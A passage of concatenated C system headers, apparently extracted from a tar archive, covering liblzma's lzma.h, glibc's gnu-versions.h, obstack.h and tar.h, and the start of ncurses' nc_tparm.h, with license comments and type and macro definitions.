modified version of the public * domain SHA-256 code found from Crypto++ <http://www.cryptopp.com/>. * The SHA-256 code in Crypto++ was written by Kevin Springle and Wei Dai. */ /* * Author: Lasse Collin * * This file has been put into the public domain. * You can do whatever you want with this file. */ #ifndef LZMA_H #define LZMA_H /***************************** * Required standard headers * *****************************/ /* * liblzma API headers need some standard types and macros. To allow * including lzma.h without requiring the application to include other * headers first, lzma.h includes the required standard headers unless * they already seem to be included already or if LZMA_MANUAL_HEADERS * has been defined. * * Here's what types and macros are needed and from which headers: * - stddef.h: size_t, NULL * - stdint.h: uint8_t, uint32_t, uint64_t, UINT32_C(n), uint64_C(n), * UINT32_MAX, UINT64_MAX * * However, inttypes.h is a little more portable than stdint.h, although * inttypes.h declares some unneeded things compared to plain stdint.h. * * The hacks below aren't perfect, specifically they assume that inttypes.h * exists and that it typedefs at least uint8_t, uint32_t, and uint64_t, * and that, in case of incomplete inttypes.h, unsigned int is 32-bit. * If the application already takes care of setting up all the types and * macros properly (for example by using gnulib's stdint.h or inttypes.h), * we try to detect that the macros are already defined and don't include * inttypes.h here again. However, you may define LZMA_MANUAL_HEADERS to * force this file to never include any system headers. * * Some could argue that liblzma API should provide all the required types, * for example lzma_uint64, LZMA_UINT64_C(n), and LZMA_UINT64_MAX. This was * seen as an unnecessary mess, since most systems already provide all the * necessary types and macros in the standard headers. * * Note that liblzma API still has lzma_bool, because using stdbool.h would * break C89 and C++ programs on many systems. sizeof(bool) in C99 isn't * necessarily the same as sizeof(bool) in C++. */ #ifndef LZMA_MANUAL_HEADERS /* * I suppose this works portably also in C++. Note that in C++, * we need to get size_t into the global namespace. */ # include <stddef.h> /* * Skip inttypes.h if we already have all the required macros. If we * have the macros, we assume that we have the matching typedefs too. */ # if !defined(UINT32_C) || !defined(UINT64_C) \ || !defined(UINT32_MAX) || !defined(UINT64_MAX) /* * MSVC versions older than 2013 have no C99 support, and * thus they cannot be used to compile liblzma. Using an * existing liblzma.dll with old MSVC can work though(*), * but we need to define the required standard integer * types here in a MSVC-specific way. * * (*) If you do this, the existing liblzma.dll probably uses * a different runtime library than your MSVC-built * application. Mixing runtimes is generally bad, but * in this case it should work as long as you avoid * the few rarely-needed liblzma functions that allocate * memory and expect the caller to free it using free(). */ # if defined(_WIN32) && defined(_MSC_VER) && _MSC_VER < 1800 typedef unsigned __int8 uint8_t; typedef unsigned __int32 uint32_t; typedef unsigned __int64 uint64_t; # else /* Use the standard inttypes.h. */ # ifdef __cplusplus /* * C99 sections 7.18.2 and 7.18.4 specify * that C++ implementations define the limit * and constant macros only if specifically * requested. Note that if you want the * format macros (PRIu64 etc.) too, you need * to define __STDC_FORMAT_MACROS before * including lzma.h, since re-including * inttypes.h with __STDC_FORMAT_MACROS * defined doesn't necessarily work. */ # ifndef __STDC_LIMIT_MACROS # define __STDC_LIMIT_MACROS 1 # endif # ifndef __STDC_CONSTANT_MACROS # define __STDC_CONSTANT_MACROS 1 # endif # endif # include <inttypes.h> # endif /* * Some old systems have only the typedefs in inttypes.h, and * lack all the macros. For those systems, we need a few more * hacks. We assume that unsigned int is 32-bit and unsigned * long is either 32-bit or 64-bit. If these hacks aren't * enough, the application has to setup the types manually * before including lzma.h. */ # ifndef UINT32_C # if defined(_WIN32) && defined(_MSC_VER) # define UINT32_C(n) n ## UI32 # else # define UINT32_C(n) n ## U # endif # endif # ifndef UINT64_C # if defined(_WIN32) && defined(_MSC_VER) # define UINT64_C(n) n ## UI64 # else /* Get ULONG_MAX. */ # include <limits.h> # if ULONG_MAX == 4294967295UL # define UINT64_C(n) n ## ULL # else # define UINT64_C(n) n ## UL # endif # endif # endif # ifndef UINT32_MAX # define UINT32_MAX (UINT32_C(4294967295)) # endif # ifndef UINT64_MAX # define UINT64_MAX (UINT64_C(18446744073709551615)) # endif # endif #endif /* ifdef LZMA_MANUAL_HEADERS */ /****************** * LZMA_API macro * ******************/ /* * Some systems require that the functions and function pointers are * declared specially in the headers. LZMA_API_IMPORT is for importing * symbols and LZMA_API_CALL is to specify the calling convention. * * By default it is assumed that the application will link dynamically * against liblzma. #define LZMA_API_STATIC in your application if you * want to link against static liblzma. If you don't care about portability * to operating systems like Windows, or at least don't care about linking * against static liblzma on them, don't worry about LZMA_API_STATIC. That * is, most developers will never need to use LZMA_API_STATIC. * * The GCC variants are a special case on Windows (Cygwin and MinGW). * We rely on GCC doing the right thing with its auto-import feature, * and thus don't use __declspec(dllimport). This way developers don't * need to worry about LZMA_API_STATIC. Also the calling convention is * omitted on Cygwin but not on MinGW. */ #ifndef LZMA_API_IMPORT # if !defined(LZMA_API_STATIC) && defined(_WIN32) && !defined(__GNUC__) # define LZMA_API_IMPORT __declspec(dllimport) # else # define LZMA_API_IMPORT # endif #endif #ifndef LZMA_API_CALL # if defined(_WIN32) && !defined(__CYGWIN__) # define LZMA_API_CALL __cdecl # else # define LZMA_API_CALL # endif #endif #ifndef LZMA_API # define LZMA_API(type) LZMA_API_IMPORT type LZMA_API_CALL #endif /*********** * nothrow * ***********/ /* * None of the functions in liblzma may throw an exception. Even * the functions that use callback functions won't throw exceptions, * because liblzma would break if a callback function threw an exception. */ #ifndef lzma_nothrow # if defined(__cplusplus) # if __cplusplus >= 201103L # define lzma_nothrow noexcept # else # define lzma_nothrow throw() # endif # elif __GNUC__ > 3 || (__GNUC__ == 3 && __GNUC_MINOR__ >= 3) # define lzma_nothrow __attribute__((__nothrow__)) # else # define lzma_nothrow # endif #endif /******************** * GNU C extensions * ********************/ /* * GNU C extensions are used conditionally in the public API. It doesn't * break anything if these are sometimes enabled and sometimes not, only * affects warnings and optimizations. */ #if __GNUC__ >= 3 # ifndef lzma_attribute # define lzma_attribute(attr) __attribute__(attr) # endif /* warn_unused_result was added in GCC 3.4. */ # ifndef lzma_attr_warn_unused_result # if __GNUC__ == 3 && __GNUC_MINOR__ < 4 # define lzma_attr_warn_unused_result # endif # endif #else # ifndef lzma_attribute # define lzma_attribute(attr) # endif #endif #ifndef lzma_attr_pure # define lzma_attr_pure lzma_attribute((__pure__)) #endif #ifndef lzma_attr_const # define lzma_attr_const lzma_attribute((__const__)) #endif #ifndef lzma_attr_warn_unused_result # define lzma_attr_warn_unused_result \ lzma_attribute((__warn_unused_result__)) #endif /************** * Subheaders * **************/ #ifdef __cplusplus extern "C" { #endif /* * Subheaders check that this is defined. It is to prevent including * them directly from applications. */ #define LZMA_H_INTERNAL 1 /* Basic features */ #include "lzma/version.h" #include "lzma/base.h" #include "lzma/vli.h" #include "lzma/check.h" /* Filters */ #include "lzma/filter.h" #include "lzma/bcj.h" #include "lzma/delta.h" #include "lzma/lzma12.h" /* Container formats */ #include "lzma/container.h" /* Advanced features */ #include "lzma/stream_flags.h" #include "lzma/block.h" #include "lzma/index.h" #include "lzma/index_hash.h" /* Hardware information */ #include "lzma/hardware.h" /* * All subheaders included. Undefine LZMA_H_INTERNAL to prevent applications * re-including the subheaders. */ #undef LZMA_H_INTERNAL #ifdef __cplusplus } #endif #endif /* ifndef LZMA_H */ gnu-versions.h 0000644 00000004446 15246445047 0007377 0 ustar 00 /* Header with interface version macros for library pieces copied elsewhere. Copyright (C) 1995-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _GNU_VERSIONS_H #define _GNU_VERSIONS_H 1 /* This file exists to define these few macros. Each specifies a version number associated with the library interface of a piece of the C library which is also distributed with other GNU packages. These pieces are both part of the GNU C library and also distributed with other GNU packages so those packages may use their facilities on systems lacking the GNU C library. The source files for each piece surround all their code with `#ifndef ELIDE_CODE' after defining it with this: #define OBSTACK_INTERFACE_VERSION 1 #if !defined (_LIBC) && defined (__GNU_LIBRARY__) && __GNU_LIBRARY__ > 1 #include <gnu-versions.h> #if _GNU_OBSTACK_INTERFACE_VERSION == OBSTACK_INTERFACE_VERSION #define ELIDE_CODE #endif #endif This allows those one to avoid compiling those files when part of a GNU package not libc, on a system using a GNU C library that supports the same interface. Please preserve the format of the comments after each macro. And remember, if any of these versions change, the libc.so major version number must change too (so avoid it)! */ #define _GNU_OBSTACK_INTERFACE_VERSION 1 /* vs malloc/obstack.c */ #define _GNU_REGEX_INTERFACE_VERSION 1 /* vs posix/regex.c */ #define _GNU_GLOB_INTERFACE_VERSION 2 /* vs posix/glob.c */ #define _GNU_GETOPT_INTERFACE_VERSION 2 /* vs posix/getopt.c and posix/getopt1.c */ #endif /* gnu-versions.h */ obstack.h 0000644 00000051472 15246445047 0006367 0 ustar 00 /* obstack.h - object stack macros Copyright (C) 1988-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ /* Summary: All the apparent functions defined here are macros. The idea is that you would use these pre-tested macros to solve a very specific set of problems, and they would run fast. Caution: no side-effects in arguments please!! They may be evaluated MANY times!! These macros operate a stack of objects. Each object starts life small, and may grow to maturity. (Consider building a word syllable by syllable.) An object can move while it is growing. Once it has been "finished" it never changes address again. So the "top of the stack" is typically an immature growing object, while the rest of the stack is of mature, fixed size and fixed address objects. These routines grab large chunks of memory, using a function you supply, called 'obstack_chunk_alloc'. On occasion, they free chunks, by calling 'obstack_chunk_free'. You must define them and declare them before using any obstack macros. Each independent stack is represented by a 'struct obstack'. Each of the obstack macros expects a pointer to such a structure as the first argument. One motivation for this package is the problem of growing char strings in symbol tables. Unless you are "fascist pig with a read-only mind" --Gosper's immortal quote from HAKMEM item 154, out of context--you would not like to put any arbitrary upper limit on the length of your symbols. In practice this often means you will build many short symbols and a few long symbols. At the time you are reading a symbol you don't know how long it is. One traditional method is to read a symbol into a buffer, realloc()ating the buffer every time you try to read a symbol that is longer than the buffer. This is beaut, but you still will want to copy the symbol from the buffer to a more permanent symbol-table entry say about half the time. With obstacks, you can work differently. Use one obstack for all symbol names. As you read a symbol, grow the name in the obstack gradually. When the name is complete, finalize it. Then, if the symbol exists already, free the newly read name. The way we do this is to take a large chunk, allocating memory from low addresses. When you want to build a symbol in the chunk you just add chars above the current "high water mark" in the chunk. When you have finished adding chars, because you got to the end of the symbol, you know how long the chars are, and you can create a new object. Mostly the chars will not burst over the highest address of the chunk, because you would typically expect a chunk to be (say) 100 times as long as an average object. In case that isn't clear, when we have enough chars to make up the object, THEY ARE ALREADY CONTIGUOUS IN THE CHUNK (guaranteed) so we just point to it where it lies. No moving of chars is needed and this is the second win: potentially long strings need never be explicitly shuffled. Once an object is formed, it does not change its address during its lifetime. When the chars burst over a chunk boundary, we allocate a larger chunk, and then copy the partly formed object from the end of the old chunk to the beginning of the new larger chunk. We then carry on accreting characters to the end of the object as we normally would. A special macro is provided to add a single char at a time to a growing object. This allows the use of register variables, which break the ordinary 'growth' macro. Summary: We allocate large chunks. We carve out one object at a time from the current chunk. Once carved, an object never moves. We are free to append data of any size to the currently growing object. Exactly one object is growing in an obstack at any one time. You can run one obstack per control block. You may have as many control blocks as you dare. Because of the way we do it, you can "unwind" an obstack back to a previous state. (You may remove objects much as you would with a stack.) */ /* Don't do the contents of this file more than once. */ #ifndef _OBSTACK_H #define _OBSTACK_H 1 /* We need the type of a pointer subtraction. If __PTRDIFF_TYPE__ is defined, as with GNU C, use that; that way we don't pollute the namespace with <stddef.h>'s symbols. Otherwise, include <stddef.h> and use ptrdiff_t. */ #ifdef __PTRDIFF_TYPE__ # define PTR_INT_TYPE __PTRDIFF_TYPE__ #else # include <stddef.h> # define PTR_INT_TYPE ptrdiff_t #endif /* If B is the base of an object addressed by P, return the result of aligning P to the next multiple of A + 1. B and P must be of type char *. A + 1 must be a power of 2. */ #define __BPTR_ALIGN(B, P, A) ((B) + (((P) - (B) + (A)) & ~(A))) /* Similar to _BPTR_ALIGN (B, P, A), except optimize the common case where pointers can be converted to integers, aligned as integers, and converted back again. If PTR_INT_TYPE is narrower than a pointer (e.g., the AS/400), play it safe and compute the alignment relative to B. Otherwise, use the faster strategy of computing the alignment relative to 0. */ #define __PTR_ALIGN(B, P, A) \ __BPTR_ALIGN (sizeof (PTR_INT_TYPE) < sizeof (void *) ? (B) : (char *) 0, \ P, A) #include <string.h> #ifndef __attribute_pure__ # define __attribute_pure__ _GL_ATTRIBUTE_PURE #endif #ifdef __cplusplus extern "C" { #endif struct _obstack_chunk /* Lives at front of each chunk. */ { char *limit; /* 1 past end of this chunk */ struct _obstack_chunk *prev; /* address of prior chunk or NULL */ char contents[4]; /* objects begin here */ }; struct obstack /* control current object in current chunk */ { long chunk_size; /* preferred size to allocate chunks in */ struct _obstack_chunk *chunk; /* address of current struct obstack_chunk */ char *object_base; /* address of object we are building */ char *next_free; /* where to add next char to current object */ char *chunk_limit; /* address of char after current chunk */ union { PTR_INT_TYPE tempint; void *tempptr; } temp; /* Temporary for some macros. */ int alignment_mask; /* Mask of alignment for each object. */ /* These prototypes vary based on 'use_extra_arg', and we use casts to the prototypeless function type in all assignments, but having prototypes here quiets -Wstrict-prototypes. */ struct _obstack_chunk *(*chunkfun) (void *, long); void (*freefun) (void *, struct _obstack_chunk *); void *extra_arg; /* first arg for chunk alloc/dealloc funcs */ unsigned use_extra_arg : 1; /* chunk alloc/dealloc funcs take extra arg */ unsigned maybe_empty_object : 1; /* There is a possibility that the current chunk contains a zero-length object. This prevents freeing the chunk if we allocate a bigger chunk to replace it. */ unsigned alloc_failed : 1; /* No longer used, as we now call the failed handler on error, but retained for binary compatibility. */ }; /* Declare the external functions we use; they are in obstack.c. */ extern void _obstack_newchunk (struct obstack *, int); extern int _obstack_begin (struct obstack *, int, int, void *(*)(long), void (*)(void *)); extern int _obstack_begin_1 (struct obstack *, int, int, void *(*)(void *, long), void (*)(void *, void *), void *); extern int _obstack_memory_used (struct obstack *) __attribute_pure__; /* The default name of the function for freeing a chunk is 'obstack_free', but gnulib users can override this by defining '__obstack_free'. */ #ifndef __obstack_free # define __obstack_free obstack_free #endif extern void __obstack_free (struct obstack *, void *); /* Error handler called when 'obstack_chunk_alloc' failed to allocate more memory. This can be set to a user defined function which should either abort gracefully or use longjump - but shouldn't return. The default action is to print a message and abort. */ extern void (*obstack_alloc_failed_handler) (void); /* Exit value used when 'print_and_abort' is used. */ extern int obstack_exit_failure; /* Pointer to beginning of object being allocated or to be allocated next. Note that this might not be the final address of the object because a new chunk might be needed to hold the final size. */ #define obstack_base(h) ((void *) (h)->object_base) /* Size for allocating ordinary chunks. */ #define obstack_chunk_size(h) ((h)->chunk_size) /* Pointer to next byte not yet allocated in current chunk. */ #define obstack_next_free(h) ((h)->next_free) /* Mask specifying low bits that should be clear in address of an object. */ #define obstack_alignment_mask(h) ((h)->alignment_mask) /* To prevent prototype warnings provide complete argument list. */ #define obstack_init(h) \ _obstack_begin ((h), 0, 0, \ (void *(*)(long))obstack_chunk_alloc, \ (void (*)(void *))obstack_chunk_free) #define obstack_begin(h, size) \ _obstack_begin ((h), (size), 0, \ (void *(*)(long))obstack_chunk_alloc, \ (void (*)(void *))obstack_chunk_free) #define obstack_specify_allocation(h, size, alignment, chunkfun, freefun) \ _obstack_begin ((h), (size), (alignment), \ (void *(*)(long))(chunkfun), \ (void (*)(void *))(freefun)) #define obstack_specify_allocation_with_arg(h, size, alignment, chunkfun, freefun, arg) \ _obstack_begin_1 ((h), (size), (alignment), \ (void *(*)(void *, long))(chunkfun), \ (void (*)(void *, void *))(freefun), (arg)) #define obstack_chunkfun(h, newchunkfun) \ ((h)->chunkfun = (struct _obstack_chunk *(*)(void *, long))(newchunkfun)) #define obstack_freefun(h, newfreefun) \ ((h)->freefun = (void (*)(void *, struct _obstack_chunk *))(newfreefun)) #define obstack_1grow_fast(h, achar) (*((h)->next_free)++ = (achar)) #define obstack_blank_fast(h, n) ((h)->next_free += (n)) #define obstack_memory_used(h) _obstack_memory_used (h) #if defined __GNUC__ # if ! (2 < __GNUC__ + (8 <= __GNUC_MINOR__)) # define __extension__ # endif /* For GNU C, if not -traditional, we can define these macros to compute all args only once without using a global variable. Also, we can avoid using the 'temp' slot, to make faster code. */ # define obstack_object_size(OBSTACK) \ __extension__ \ ({ struct obstack const *__o = (OBSTACK); \ (unsigned) (__o->next_free - __o->object_base); }) # define obstack_room(OBSTACK) \ __extension__ \ ({ struct obstack const *__o = (OBSTACK); \ (unsigned) (__o->chunk_limit - __o->next_free); }) # define obstack_make_room(OBSTACK, length) \ __extension__ \ ({ struct obstack *__o = (OBSTACK); \ int __len = (length); \ if (__o->chunk_limit - __o->next_free < __len) \ _obstack_newchunk (__o, __len); \ (void) 0; }) # define obstack_empty_p(OBSTACK) \ __extension__ \ ({ struct obstack const *__o = (OBSTACK); \ (__o->chunk->prev == 0 \ && __o->next_free == __PTR_ALIGN ((char *) __o->chunk, \ __o->chunk->contents, \ __o->alignment_mask)); }) # define obstack_grow(OBSTACK, where, length) \ __extension__ \ ({ struct obstack *__o = (OBSTACK); \ int __len = (length); \ if (__o->next_free + __len > __o->chunk_limit) \ _obstack_newchunk (__o, __len); \ memcpy (__o->next_free, where, __len); \ __o->next_free += __len; \ (void) 0; }) # define obstack_grow0(OBSTACK, where, length) \ __extension__ \ ({ struct obstack *__o = (OBSTACK); \ int __len = (length); \ if (__o->next_free + __len + 1 > __o->chunk_limit) \ _obstack_newchunk (__o, __len + 1); \ memcpy (__o->next_free, where, __len); \ __o->next_free += __len; \ *(__o->next_free)++ = 0; \ (void) 0; }) # define obstack_1grow(OBSTACK, datum) \ __extension__ \ ({ struct obstack *__o = (OBSTACK); \ if (__o->next_free + 1 > __o->chunk_limit) \ _obstack_newchunk (__o, 1); \ obstack_1grow_fast (__o, datum); \ (void) 0; }) /* These assume that the obstack alignment is good enough for pointers or ints, and that the data added so far to the current object shares that much alignment. */ # define obstack_ptr_grow(OBSTACK, datum) \ __extension__ \ ({ struct obstack *__o = (OBSTACK); \ if (__o->next_free + sizeof (void *) > __o->chunk_limit) \ _obstack_newchunk (__o, sizeof (void *)); \ obstack_ptr_grow_fast (__o, datum); }) \ # define obstack_int_grow(OBSTACK, datum) \ __extension__ \ ({ struct obstack *__o = (OBSTACK); \ if (__o->next_free + sizeof (int) > __o->chunk_limit) \ _obstack_newchunk (__o, sizeof (int)); \ obstack_int_grow_fast (__o, datum); }) # define obstack_ptr_grow_fast(OBSTACK, aptr) \ __extension__ \ ({ struct obstack *__o1 = (OBSTACK); \ void *__p1 = __o1->next_free; \ *(const void **) __p1 = (aptr); \ __o1->next_free += sizeof (const void *); \ (void) 0; }) # define obstack_int_grow_fast(OBSTACK, aint) \ __extension__ \ ({ struct obstack *__o1 = (OBSTACK); \ void *__p1 = __o1->next_free; \ *(int *) __p1 = (aint); \ __o1->next_free += sizeof (int); \ (void) 0; }) # define obstack_blank(OBSTACK, length) \ __extension__ \ ({ struct obstack *__o = (OBSTACK); \ int __len = (length); \ if (__o->chunk_limit - __o->next_free < __len) \ _obstack_newchunk (__o, __len); \ obstack_blank_fast (__o, __len); \ (void) 0; }) # define obstack_alloc(OBSTACK, length) \ __extension__ \ ({ struct obstack *__h = (OBSTACK); \ obstack_blank (__h, (length)); \ obstack_finish (__h); }) # define obstack_copy(OBSTACK, where, length) \ __extension__ \ ({ struct obstack *__h = (OBSTACK); \ obstack_grow (__h, (where), (length)); \ obstack_finish (__h); }) # define obstack_copy0(OBSTACK, where, length) \ __extension__ \ ({ struct obstack *__h = (OBSTACK); \ obstack_grow0 (__h, (where), (length)); \ obstack_finish (__h); }) /* The local variable is named __o1 to avoid a name conflict when obstack_blank is called. */ # define obstack_finish(OBSTACK) \ __extension__ \ ({ struct obstack *__o1 = (OBSTACK); \ void *__value = (void *) __o1->object_base; \ if (__o1->next_free == __value) \ __o1->maybe_empty_object = 1; \ __o1->next_free \ = __PTR_ALIGN (__o1->object_base, __o1->next_free, \ __o1->alignment_mask); \ if (__o1->next_free - (char *) __o1->chunk \ > __o1->chunk_limit - (char *) __o1->chunk) \ __o1->next_free = __o1->chunk_limit; \ __o1->object_base = __o1->next_free; \ __value; }) # define obstack_free(OBSTACK, OBJ) \ __extension__ \ ({ struct obstack *__o = (OBSTACK); \ void *__obj = (OBJ); \ if (__obj > (void *) __o->chunk && __obj < (void *) __o->chunk_limit) \ __o->next_free = __o->object_base = (char *) __obj; \ else (__obstack_free) (__o, __obj); }) #else /* not __GNUC__ */ # define obstack_object_size(h) \ (unsigned) ((h)->next_free - (h)->object_base) # define obstack_room(h) \ (unsigned) ((h)->chunk_limit - (h)->next_free) # define obstack_empty_p(h) \ ((h)->chunk->prev == 0 \ && (h)->next_free == __PTR_ALIGN ((char *) (h)->chunk, \ (h)->chunk->contents, \ (h)->alignment_mask)) /* Note that the call to _obstack_newchunk is enclosed in (..., 0) so that we can avoid having void expressions in the arms of the conditional expression. Casting the third operand to void was tried before, but some compilers won't accept it. */ # define obstack_make_room(h, length) \ ((h)->temp.tempint = (length), \ (((h)->next_free + (h)->temp.tempint > (h)->chunk_limit) \ ? (_obstack_newchunk ((h), (h)->temp.tempint), 0) : 0)) # define obstack_grow(h, where, length) \ ((h)->temp.tempint = (length), \ (((h)->next_free + (h)->temp.tempint > (h)->chunk_limit) \ ? (_obstack_newchunk ((h), (h)->temp.tempint), 0) : 0), \ memcpy ((h)->next_free, where, (h)->temp.tempint), \ (h)->next_free += (h)->temp.tempint) # define obstack_grow0(h, where, length) \ ((h)->temp.tempint = (length), \ (((h)->next_free + (h)->temp.tempint + 1 > (h)->chunk_limit) \ ? (_obstack_newchunk ((h), (h)->temp.tempint + 1), 0) : 0), \ memcpy ((h)->next_free, where, (h)->temp.tempint), \ (h)->next_free += (h)->temp.tempint, \ *((h)->next_free)++ = 0) # define obstack_1grow(h, datum) \ ((((h)->next_free + 1 > (h)->chunk_limit) \ ? (_obstack_newchunk ((h), 1), 0) : 0), \ obstack_1grow_fast (h, datum)) # define obstack_ptr_grow(h, datum) \ ((((h)->next_free + sizeof (char *) > (h)->chunk_limit) \ ? (_obstack_newchunk ((h), sizeof (char *)), 0) : 0), \ obstack_ptr_grow_fast (h, datum)) # define obstack_int_grow(h, datum) \ ((((h)->next_free + sizeof (int) > (h)->chunk_limit) \ ? (_obstack_newchunk ((h), sizeof (int)), 0) : 0), \ obstack_int_grow_fast (h, datum)) # define obstack_ptr_grow_fast(h, aptr) \ (((const void **) ((h)->next_free += sizeof (void *)))[-1] = (aptr)) # define obstack_int_grow_fast(h, aint) \ (((int *) ((h)->next_free += sizeof (int)))[-1] = (aint)) # define obstack_blank(h, length) \ ((h)->temp.tempint = (length), \ (((h)->chunk_limit - (h)->next_free < (h)->temp.tempint) \ ? (_obstack_newchunk ((h), (h)->temp.tempint), 0) : 0), \ obstack_blank_fast (h, (h)->temp.tempint)) # define obstack_alloc(h, length) \ (obstack_blank ((h), (length)), obstack_finish ((h))) # define obstack_copy(h, where, length) \ (obstack_grow ((h), (where), (length)), obstack_finish ((h))) # define obstack_copy0(h, where, length) \ (obstack_grow0 ((h), (where), (length)), obstack_finish ((h))) # define obstack_finish(h) \ (((h)->next_free == (h)->object_base \ ? (((h)->maybe_empty_object = 1), 0) \ : 0), \ (h)->temp.tempptr = (h)->object_base, \ (h)->next_free \ = __PTR_ALIGN ((h)->object_base, (h)->next_free, \ (h)->alignment_mask), \ (((h)->next_free - (char *) (h)->chunk \ > (h)->chunk_limit - (char *) (h)->chunk) \ ? ((h)->next_free = (h)->chunk_limit) : 0), \ (h)->object_base = (h)->next_free, \ (h)->temp.tempptr) # define obstack_free(h, obj) \ ((h)->temp.tempint = (char *) (obj) - (char *) (h)->chunk, \ ((((h)->temp.tempint > 0 \ && (h)->temp.tempint < (h)->chunk_limit - (char *) (h)->chunk)) \ ? (void) ((h)->next_free = (h)->object_base \ = (h)->temp.tempint + (char *) (h)->chunk) \ : (__obstack_free) (h, (h)->temp.tempint + (char *) (h)->chunk))) #endif /* not __GNUC__ */ #ifdef __cplusplus } /* C++ */ #endif #endif /* obstack.h */ tar.h 0000644 00000007311 15246445047 0005520 0 ustar 00 /* Extended tar format from POSIX.1. Copyright (C) 1992-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. Written by David J. MacKenzie. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _TAR_H #define _TAR_H 1 #include <features.h> /* A tar archive consists of 512-byte blocks. Each file in the archive has a header block followed by 0+ data blocks. Two blocks of NUL bytes indicate the end of the archive. */ /* The fields of header blocks: All strings are stored as ISO 646 (approximately ASCII) strings. Fields are numeric unless otherwise noted below; numbers are ISO 646 representations of octal numbers, with leading zeros as needed. linkname is only valid when typeflag==LNKTYPE. It doesn't use prefix; files that are links to pathnames >100 chars long can not be stored in a tar archive. If typeflag=={LNKTYPE,SYMTYPE,DIRTYPE} then size must be 0. devmajor and devminor are only valid for typeflag=={BLKTYPE,CHRTYPE}. chksum contains the sum of all 512 bytes in the header block, treating each byte as an 8-bit unsigned value and treating the 8 bytes of chksum as blank characters. uname and gname are used in preference to uid and gid, if those names exist locally. Field Name Byte Offset Length in Bytes Field Type name 0 100 NUL-terminated if NUL fits mode 100 8 uid 108 8 gid 116 8 size 124 12 mtime 136 12 chksum 148 8 typeflag 156 1 see below linkname 157 100 NUL-terminated if NUL fits magic 257 6 must be TMAGIC (NUL term.) version 263 2 must be TVERSION uname 265 32 NUL-terminated gname 297 32 NUL-terminated devmajor 329 8 devminor 337 8 prefix 345 155 NUL-terminated if NUL fits If the first character of prefix is '\0', the file name is name; otherwise, it is prefix/name. Files whose pathnames don't fit in that length can not be stored in a tar archive. */ /* The bits in mode: */ #define TSUID 04000 #define TSGID 02000 #if defined __USE_XOPEN || !defined __USE_XOPEN2K # define TSVTX 01000 #endif #define TUREAD 00400 #define TUWRITE 00200 #define TUEXEC 00100 #define TGREAD 00040 #define TGWRITE 00020 #define TGEXEC 00010 #define TOREAD 00004 #define TOWRITE 00002 #define TOEXEC 00001 /* The values for typeflag: Values 'A'-'Z' are reserved for custom implementations. All other values are reserved for future POSIX.1 revisions. */ #define REGTYPE '0' /* Regular file (preferred code). */ #define AREGTYPE '\0' /* Regular file (alternate code). */ #define LNKTYPE '1' /* Hard link. */ #define SYMTYPE '2' /* Symbolic link (hard if not supported). */ #define CHRTYPE '3' /* Character special. */ #define BLKTYPE '4' /* Block special. */ #define DIRTYPE '5' /* Directory. */ #define FIFOTYPE '6' /* Named pipe. */ #define CONTTYPE '7' /* Contiguous file */ /* (regular file if not supported). */ /* Contents of magic field and its length. */ #define TMAGIC "ustar" #define TMAGLEN 6 /* Contents of the version field and its length. */ #define TVERSION "00" #define TVERSLEN 2 #endif /* tar.h */ nc_tparm.h 0000644 00000010145 15246445047 0006534 0 ustar 00 /**************************************************************************** * Copyright (c) 2006-2012,2017 Free Software Foundation, Inc. * * * * Permission is hereby granted, free of charge, to any person obtaining a * * copy of this software and associated documentation files (the * * "Software"), to deal in the Software without restriction, including * * without limitation the rights to use, copy, modify, merge, publish, * * distribute, distribute with modifications, sublicense, and/or sell * * copies of the Software, and to permit persons to whom the Software is * * furnished to do so, subject to the following conditions: * * * * The above copyright notice and this permission notice shall be included * * in all copies or substantial portions of the Software. * * * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS * * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF * * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. * * IN NO EVENT SHALL THE ABOVE COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, * * DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR * * OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR * * THE USE OR OTHER DEALINGS IN THE SOFTWARE. * * * * Except as contained in this notice, the name(s) of the above copyright * * holders shall not be used in advertising or otherwise to promote the * * sale, use or other dealings in this Software without prior written * * authorization. * ****************************************************************************/ /**************************************************************************** * Author: Thomas E. Dickey 2006 * ****************************************************************************/ /* $Id: nc_tparm.h,v 1.8 2017/07/22 17:09:46 tom Exp $ */ #ifndef NC_TPARM_included #define NC_TPARM_included 1 #include <ncurses_cfg.h> #include <curses.h> /* * Cast parameters past the formatting-string for tparm() to match the * assumption of the varargs code. */ #ifndef TPARM_ARG #ifdef NCURSES_TPARM_ARG #define TPARM_ARG NCURSES_TPARM_ARG #else #define TPARM_ARG long #endif #endif /* TPARAM_ARG */ #define TPARM_N(n) (TPARM_ARG)(n) #define TPARM_9(a,b,c,d,e,f,g,h,i,j) 